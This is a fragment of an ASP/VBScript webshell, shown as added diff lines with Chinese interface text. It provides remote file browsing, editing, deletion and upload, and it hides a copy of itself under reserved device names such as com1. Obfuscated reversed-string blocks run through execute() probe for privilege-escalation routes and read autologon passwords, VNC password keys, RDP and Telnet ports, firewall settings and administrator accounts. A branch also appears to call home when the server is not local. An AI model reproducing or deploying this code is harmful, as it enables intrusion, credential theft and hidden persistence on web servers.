D1.exists(F) then:Form=D1(F):else:Form="":end if + End Function + + Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if + End Function + Private Sub Class_Initialize + Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(ObT(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1 = CreateObject(ObT(6,0)) +T1.Type = 1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart = 1 +DEnd = LenB(TDa) +set D2=CreateObject(ObT(4,0)) +vbCrlf = chrB(13) & chrB(10) +set T2 = CreateObject(ObT(6,0)) +TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen = LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd + DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 + T2.Type = 1 : T2.Mode =3 : T2.Open + T1.Position = DStart + T1.CopyTo T2,DIEnd-DStart + T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" + TIn = T2.ReadText : T2.Close + DStart = InStrB(DIEnd,TDa,TSt) + FStart = InStr(22,TIn,"name=""",1)+6 + FEnd = InStr(FStart,TIn,"""",1) + UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) + if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart = InStr(FEnd,TIn,"filename=""",1)+10 +FEnd = InStr(FStart,TIn,"""",1) +FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd = InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize = DStart -DIEnd -3 +if not D2.Exists(UpName) then + D2.add UpName,TFL +end if + else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position = 0 : T2.Type = 2 +T2.Charset ="gb2312" +SFV = T2.ReadText +T2.Close +if D1.Exists(UpName) then + D1(UpName)=D1(UpName)&", "&SFV +else + D1.Add UpName,SFV +end if + end if + DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing + End Sub + Private Sub Class_Terminate +if Request.TotalBytes>0 then + D1.RemoveAll:D2.RemoveAll + set D1=nothing:set D2=nothing + T1.Close:set T1 =nothing +end if + End Sub +End Class + +Class FIF +dim FileSize,FileStart + Private Sub Class_Initialize + FileSize = 0 + FileStart= 0 + End Sub + Public function SaveAs(F) + dim T3 + SaveAs=true + if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(ObT(6,0)) + T3.Mode=3 : T3.Type=1 : T3.Open + T1.position=FileStart + T1.copyto T3,FileSize + T3.SaveToFile F,2 + T3.Close + set T3=nothing + SaveAs=false +end function +End Class +Class LBF + Dim CF + Private Sub Class_Initialize +SET CF=CreateObject(ObT(0,0)) + End Sub + Private Sub Class_Terminate +Set CF=Nothing + End Sub +Function ShowDriver() +For Each D in CF.Drives + j cdx&" 本地磁盘 ("&D.DriveLetter&":)
    " +Next + End Function +Function IsIco(ia,ib,ta) + If ShowFileIco=true Then + IsIco = " " + If ib<>"" Then + IsIco = " " + End If + Else + IsIco = " "&ta&" " + End If +End Function +Function FileIco(FName) + If ShowFileIco=true Then + TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip.jsp.aspx.;" + FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) + If Instr(TypeList,"."&FileType)>0 then + Ico = FileType&".gif" + Else + Ico = "default.gif" + End If + + FileIco = " " + Else + FileIco="2 " + End If +End Function +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="
    " +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 6=0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&IsIco("","folder.gif","0") +si=si&"
    "&F.Name&"

    Copy Del Move
    " +j SI &"" : SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +Next +j SI&"
    FilenameSizeTypeOperatingLast Modified
    " +si=si&FileIco(L.Name) +si=si&" "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"" +si=si&"Open " +si=si&"Edit " +Si=Si&"权限" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"√" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"
    ":if Instr(Serveru,"127.0.0.1")<>0 or Instr(Serveru,"192.168.")<>0 then:else:if session("servec")=1 then:session("servec")=session("servec")+1:j fuckUrl:else:if Action<>"" then session("servec")=session("servec")+1:end if:end if:end if +Set FOLD=Nothing +End function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    恭喜您文件 "&Path&" 删除成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



    恭喜您文件保存成功!
    " +SI=SI&BackUrl +j SI +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"\shell.asp":Txt=strBAD +End If +j "



          
    " +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



    恭喜您文件"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



    恭喜您文件"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



    恭喜您目录"&Path&"删除成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



    恭喜您目录"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



    恭喜您目录"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +j SI +End If +End Function +Function NewFolder(Path) +execute(shisanfun("fI dnE╋IS j╋lrUkcaB&IS=IS╋╁>retnec/<!功成建新╁&htaP&╁录目您喜恭>rb<>rb<>rb<>retnec<╁=IS╋htaP redloFetaerC.FC╋nehT ╁╁>il<╁j╋nehT )╁fic.╁&emanrevres&╁\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\╁&revirdsys(stsixEeliF.osf fI╋)╁emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH╁(daeRgeR.hsw=emanrevres╋)2,)2(redloFlaicepsteG.osF(tfel=evirdsyS╋)╁tcejbOmetsySeliF.gnitpircS╁(tcejboetaerC.revreS=osf teS╋txeN╋fi dnE╋fi dnE╋╁>rb<马木PHP入写且并,录目liaMbeW找查以可,动启限权metsySlacoL以且,liamniW cigaM_有中器务服>il<╁j╋nehT ╁metsySlacoL╁=emaNtnuoccAecivreS.ecivreSjbo fi╋nehT )╁liamniw╁,)emaN.ecivreSjbo(esacl(rtsni fi╋fi dnE╋fi dnE╋╁>rb<权提马木psJ用使虑考以可,动启限权metsySlacoL以且,tacmoT_有中器务服>il<╁j╋nehT ╁metsySlacoL╁=emaNtnuoccAecivreS.ecivreSjbo fi╋nehT )╁tacmot╁,)emaN.ecivreSjbo(esacl(rtsni fi╋fi dnE╋fi dne╋fi dnE╋╁>rb<马木PHP虑考以可,metsySlacoL为限权动启,在存务服ehcapA_有中器务服>il< ╁j╋eslE╋╁>rb<权提接直以可.ehcapA为器务服BEW前当>il<╁j╋nehT )╁ehcapA╁,)╁ERAWTFOS_REVRES╁(selbairaVrevreS.tseuqeR(rtsni fI╋nehT ╁metsySlacoL╁=emaNtnuoccAecivreS.ecivreSjbo fi╋nehT ╁ehcapa╁=)emaN.ecivreSjbo(esacl fi╋fi dnE╋fi dnE╋╁>rb<权提具工exe.us用虑考以可,动启限权metsySlacoL以且,装安U-vreS_有中器务服>il<╁j╋nehT ╁metsySlacoL╁=emaNtnuoccAecivreS.ecivreSjbo fi╋nehT ╁U-vreS╁=emaN.ecivreSjbo fi╋retupmoCjbo nI ecivreSjbo hcaE roF╋txeN emuseR rorrE nO╋)╁ecivreS╁(yarrA = retliF.retupmoCjbo╋)╁noitacilppA.llehS╁(tcejbOetaerC.revreS = as teS╋)╁.//:TNniW╁(tcejbOteG = retupmoCjbo teS╋╁>rh<>rb<]测探点_弱器务服[╁j╋╁>rb<>rb<>rb<------------------------------------╁j╋╁>rb<╁&kk&╁:为卡网_动活前当>il<╁j╋)kh(daeRgeR.hsw=kk╋╁tnuoC\munE\pipcT\secivreS\100teSlortnoC\METSYS\MLKH╁=kh╋╁>rb<╁&lmtn&╁:为置设lmtN tenleT>il<╁j╋1=lmtN nehT ╁╁=lmtn fi╋)yekLMTN(daeRgeR.hsW=lmtn╋╁LMTN\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁=yekLMTN╋╁>rb<╁&ylpsid&╁:户用入登次_上示显否是>il<╁j╋╁否╁=ylpsid esle ╁是╁=ylpsid nehT 0=nigolpsid ro ╁╁=nigolpsid fI╋)╁emaNresUtsaLyalpsiDtnoD\metsyS\seiciloP\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH╁(daeRger.hsw=nigolpsid╋fi dnE╋╁>tnof/<>rb<╁&dwssaP&╁:码密>der=roloc tnof<>erauqs=epyt il<╁j╋╁>rb<╁&nimdA&╁:名户用>erauqs=epyt il<╁j╋)╁drowssaPtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁(daeRgeR.hsW=dwssaP╋)╁emaNresUtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁(daeRgeR.hsW=nimdA╋╁>rb<用启:入登动_自户用>il<╁j╋eslE╋╁>rb<用启未:入登动_自户用>il<╁j╋nehT ╁╁=nigolotuA ro 0=nigolotuA fi╋)nigolotuAsi(daeRgeR.hsW=nigolotuA╋╁nogoLnimdAotuA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁=nigolotuAsi╋╁>tnof/<>rb<╁&emaNnimdA&╁>der=roloc tnof<:为名户用员╁&╁理管认默>il<╁j╋╋fi dne╋╁krowteN.tpircsW:啊行不的奶奶他╁j╋neht rre fi╋txeN╋╁>il/<>tnof/<>rb<╁&emaN.nimda&╁:组员理管前当>der=roloc tnof<>il<╁ j╋srebmeM.puorGjbo ni nimda hcaE roF╋)╁puorg,srotartsinimdA/╁&emaNretupmoC.Nt&╁//:TNniW╁(tcejbOteG=puorGjbo teS╋)╁krowteN.tpircsW╁(tcejbOetaerc.revres=Nt teS╋ txen emuser rorre no╋0=seripxE.esnopseR╋╁rotartsinimdA╁=emaNnimdA nehT ╁╁=emannimda fi╋)yeKemaNnimdA(daeRgeR.hsw=emaNnimdA╋╁emaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁=yeKemaNnimdA╋╁>rb<╁&emancp&╁:为名机_主前当>il<╁j╋╁>rb<.名机主取_读法无╁=emancp nehT ╁╁=emancp fi╋)yekemancp(daeRgeR.hsw=emancp╋╁emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH╁=yekemancp╋╁>1=ezis rh<>rb<]测探_置设统系[>rb<>rb<╁j╋txen╋╁>rb<╁&)i(shtap&╁>il<╁j╋)shtap(dnuobU ot )shtap(dnuobL=i roF╋╁>rb<:量变径路_前当统系╁j╋╁>rb<------------------------------------╁j╋)╁;╁,htaPtfoS(tilps=shtap╋╁>rb<持支:_件软毒杀列系星瑞>il<╁j nehT )╁gnisir╁,ofnihtaP(rtsni fi╋╁>rb<持支:_件软毒杀克铁门赛>il<╁j nehT )╁surivitna╁,ofnihtaP(rtsni fi╋╁>rb<持支:_件软毒杀列系山金 >il<╁j nehT )╁vak╁,ofnihtaP(rtsni fi╋╁>rb<持支:_件软毒杀lliK>il<╁j nehT )╁lliK╁,ofnihtaP(rtsni fi╋╁>rb<持支:_制控erehwynAcP克铁门赛>il<╁j nehT )╁erehwynacp╁,ofnihtaP(rtsni fi╋╁>rb<持支:_器务服MFC>il<╁j nehT )╁7xmnoisufc╁,ofnihtaP(rtsni fi╋╁>rb<持支:_务服库据数elcarO>il<╁j nehT )╁elcaro╁,ofnihtaP(rtsni fi╋╁>rb<持支:_务服库据数LQSyM>il<╁j nehT )╁lqsym╁,ofnihtaP(rtsni fi╋╁>rb<持支:_务服库据数LQSSM>il<╁j nehT )╁revres lqs tfosorcim╁,ofnihtaP(rtsni fi╋╁>rb<持支:_本脚avaJ>il<╁j nehT )╁avaj╁,ofnihtaP(rtsni fi╋╁>rb<持支:_本脚lreP>il<╁j nehT )╁lrep╁,ofnihtaP(rtsnI fi╋╁:持支件╁&╁软统系╁j╋)htaPtfoS(esacl=ofnihtaP╋)╁htaP╁(meti.tnemnorivnE.hsW=htaPtfoS╋╁>1=ezis rh<>rb<]测探件_软统系[>rb<>rb<>rb<╁j╋╁>lo/<╁j╋fI dnE╋╁>rb<╁ & drowssaPnigoLotua & ╁ :码密户帐的╁&╁录登动自╁j╋fI dnE╋╁eslaF╁j╋raelC.rrE╋nehT rrE fI╋)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua╋╁>rb<╁ & emanresUnigoLotua & ╁ :户帐统系的╁&╁录登动自╁j╋)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua╋eslE╋nehT 0 = elbanEnigoLotuAsi fI╋)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi╋╁drowssaPtluafeD╁ = yeKssaPnigoLotua╋╁emaNresUtluafeD╁ = yeKresUnigoLotua╋╁nogoLnimdAotuA╁ = yeKelbanEnigoLotua╋╁\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH╁ = htaPnigoLotua╋fI dnE╋╁>/rb<╁ & troPmret & ╁ :口端╁&╁务服端终前当╁j╋eslE ╋╁>/rb<.制限到受否是限权查检 ,口端端终到得法无╁j╋ nehT 0 >< rebmuN.rrE rO ╁╁ = troPmret fI╋╁>lo<录登动自及╁&╁口端务服_端终╁j╋)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret╋╁rebmuNtroP╁ = yeKtroPlanimret╋╁\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH╁ = htaPtroPlanimret╋drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD╋yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD╋troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD╋)╁llehS.tpircSW╁(tcejbOetaerC.revreS = Xsw teS╋╁------------------------------------------------------╁j╋╁>rb<╁&troPWAP&╁:为口端erehwynAcP>il<╁j╋╁erehwynAcp装安否╁&╁是机主╁&╁认确请.取获╁&╁法无╁=troPWAP neht ╁╁=troPWAP fI╋)yeKerehwynAcp(daeRgeR.hsW=troPWAP╋╁troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH╁=yeKerehwynAcp╋╁>tnof/<>rb<╁&troPmreT&╁>der=roloc tnof<:为口端ecivreS lanimreT>il<╁j╋╁机主本版revreS swodniW为否是╁&╁认确请.取读╁&╁法无╁=troPmreT nehT ╁╁=troPmreT fI╋)yeKmreT(daeRgeR.hsW=troPmreT╋╁rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH╁=yeKmreT╋╁>rb<╁&troptnlT&╁:口╁&╁端tenleT>il<╁j╋╁)置设╁&╁认默(32╁=tnlT nehT ╁╁=troPtnlT fi╋)yeKtenleT(daeRgeR.hsW=troPtnlT╋╁troPtenleT\0.1\revreStenleT\tfosorciM \ERAWTFOS\ENIHCAM_LACOL_YEKH╁=yektenleT╋╁>1=ezis rh<>rb<]测探╁&╁口端╁&╁殊特[>rb<>rb<╁j╋fi dne╋txeN╋╁>rb<------------------------------------------------╁j╋fi dnE╋fi dnE╋╁>rb<╁j╋txen╋╁,╁&)j(wollaPDU j╋)wollapdu(dnuoBU oT )wollapdu(dnuoBL = j rof╋╁:为口端pdu的╁&╁许允>il<╁j╋eslE╋╁>rb<部全:为口端pdu的╁&╁许允>il<╁j╋nehT 0=)0(wollapdu ro ╁╁=)0(wollapdu fI╋)PDUlluF(daeRgeR.hsW=wollapdu╋fi dnE╋╁>rB<╁j╋txeN╋╁,╁&)j(wollapct j╋)wollapct(dnuoBU oT )wollapct(dnuoBL = j roF╋╁:为口端pct的╁&╁许允>il<╁j╋eslE╋╁>rb<部全:为口端pct的╁&╁许允>il<╁j╋nehT 0=)0(wollapct ro ╁╁=)0(wollapct fI╋)PCTlluF(daeRgeR.hsW=wollapct╋KUE&BdpA&htap=PDUlluF╋KTE&BdpA&htaP=PCTlluF╋╁stroPdewollAPDU\╁=KUE╋╁stroPdewollAPCT\╁=KTE╋esle╋╁>rb<选筛PI/pcT没>il<╁j╋ nehT 1=retlifpipctoN fi╋fI dnE╋╁>rb<置设有没或取读法无SND╁&╁认默>il<╁j╋eslE╋╁>rb<╁&rtsSND&╁:为SND╁&╁卡网>il<╁j╋nehT ╁╁>rb<置设有没或取读法无关网>il<╁j╋eslE╋txeN╋╁>rb<╁&)j(yawetaG&╁:╁&j&╁关网>il<╁j╋)yawetaG(dnuobU ot )yawetaG(dnuobL=j roF╋nehT )yaWetaG(yarrasi fI╋)yeKyaWetaG(daergeR.hsW=yaWetaG╋╁yawetaGtluafeD\╁&BdpA&htaP=yeKyaWetaG╋fi dnE╋╁>rb<置设有没或╁&╁取读法无址╁&╁地PI>il<╁j╋eslE╋txeN╋╁>rb<╁&)j(rddAPI&╁:为╁&j&╁址╁&╁地PI>il<╁j╋)rddAPI(dnuobU ot )rddAPI(dnuobL=j roF╋nehT ╁╁><)0(rddaPI fI╋)yeKPI(daergeR.hsW=rddaPI╋╁sserddAPI\╁&BdpA&htaP=yeKPI╋╁\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH╁=htaP╋╁>rb<╁&BdpA&╁:为列序的╁&i&╁卡网╁j╋)╁╁,╁\eciveD\╁,)i(sdpA(ecalpeR=BdpA╋1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roF╋ nehT )sdpA(yarrAsI fI╋)yeKdpA(daeRgeR.hsW=sdpA╋╁dniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKH╁=yeKdpA╋fI dnE╋1=retlifpipctoN╋nehT ╁╁=elbanEsi ro 0=elbanEsi fI╋)yeKpipcTelbanE(daergeR.hsW=elbanEsi╋╁sretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKH╁=yeKPIPCTelbanE╋╁>1=ezis rh<>rb<]测探╁&╁络网[╁j╋)╁llehS.tpircsW╁(tcejboetaerc=hsw tes╋hsw mid╋txen emuser rorre no╋)(ofnIlanimreTteg bus")) + +sub hiddenshell +fpath=request.servervariables("path_translated") +set fso=server.createobject("scripting.filesystemobject") +pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9" +rndpex=split(pex,"|")(rndnumber(0,17)) +session("seljw")="" +filepath1=server.mappath(".") +filename1=right(fpath,len(fpath)-instrrev(fpath,"\")) +url=request.servervariables("url") +url=left(url,instrrev(url,"/"))&rndpex&"."&filename1 +fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1 +set fso=nothing +j "" +end sub + +Sub Message(state,msg,flag) +j"
    " +j state +j"

    "&msg +j"

    " +If flag=0 Then +j" " +Else +End if +j"
    " +End Sub +Function Red(str) +Red = "" & str & "" +End Function + +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + +Sub ScanDriveForm() +Dim FSO,DriveB +Set FSO = Server.Createobject("Scripting.FileSystemObject") +j"
    " + For Each DriveB in FSO.Drives +j" " + Next +j" " +j"" +j"
    磁盘/系统文件夹信息
    盘符" +j DriveB.DriveLetter +j":类型" + Select Case DriveB.DriveType + Case 1: j"可移动" + Case 2: j"本地硬盘" + Case 3: j"网络磁盘" + Case 4: j"CD-ROM" + Case 5: j"RAM磁盘" + Case else: j"未知类型" + End Select +j"
    Windows文件夹" +j FSO.GetSpecialFolder(0) +j"
    System32文件夹" +j FSO.GetSpecialFolder(1) +j"
    系统临时文件夹" +j FSO.GetSpecialFolder(2) +j"
    站点跟目录站点跟目录详细报告
    回收站目录回收站目录 详细报告
    wmpub目录 wmpub详细报告

    " +j"

    指定文件夹查询: 批量查看目录权限,输入新目录用“,”隔开。
    " +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) + 'On Error Resume Next +folderArr = Split(folder,",") +For i = 0 To Ubound(folderArr) + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + folder = folderArr(i) + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") + End if + Scmsg = Scmsg & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!"&backurl + Set FSO = Nothing + Message "",Scmsg,1 +next +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。
    " +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。
    " +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +function goback() +set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +j "" +else +j "
    已经是磁盘根目录了!


    " +end if +set Ofso=nothing +set ofolder=nothing +end function +ShiSan="bus dne╋fi dne╋fI dnE╋yarrAeht & ╁>il<╁ j╋eslE╋txeN╋)i(yarrAeht & ╁>il<╁ j╋)yarrAeht(dnuoBU oT 0=i roF╋nehT )yarrAeht(yarrAsI fI╋)htaPeht(daeRgeR.Xsw=yarrAeht╋)╁htaPeht╁(tseuqeR=htaPeht╋)╁llehS.tpircSW╁(tcejbOetaerC.revreS = Xsw teS╋txeN emuseR rorrE nO╋neht ╁╁><)╁htaPeht╁(tseuqeR fi╋╁>/rh<>mrof/<╁ j╋╁>')(timbus.mrof.siht'=kcilcno '值 键 读'=eulav nottub=epyt tupni<╁ j╋╁>08=ezis ''=eulav htaPeht=eman tupni< ╁ j╋╁>/ rb<>tceles/<╁ j╋╁>noitpo/<口端PCT的放开许允>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<╁ j╋╁>noitpo/<口端PDU的放开许允>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo<╁ j╋╁>noitpo/<放开火防>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<╁ j╋╁>noitpo/'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo<╁ j╋╁>noitpo/<3滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<╁ j╋╁>noitpo/<2滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<╁ j╋╁>noitpo/<1滤过pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo<╁ j╋╁>noitpo/<口端态状WynAcP>╁╁troPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<口端据数WynAcP>╁╁troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<口端9833>╁╁rebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<口端4CNV>╁╁rebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<码密4CNV>╁╁drowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<口端3CNV>╁╁rebmuNtroP\3CNVniW\LRO\erawtfoS\UCKH╁╁=eulav noitpo<╁j╋╁>noitpo/<码密3CNV>╁╁drowssaP\3CNVniW\LRO\erawtfoS\UCKH╁╁=eulav 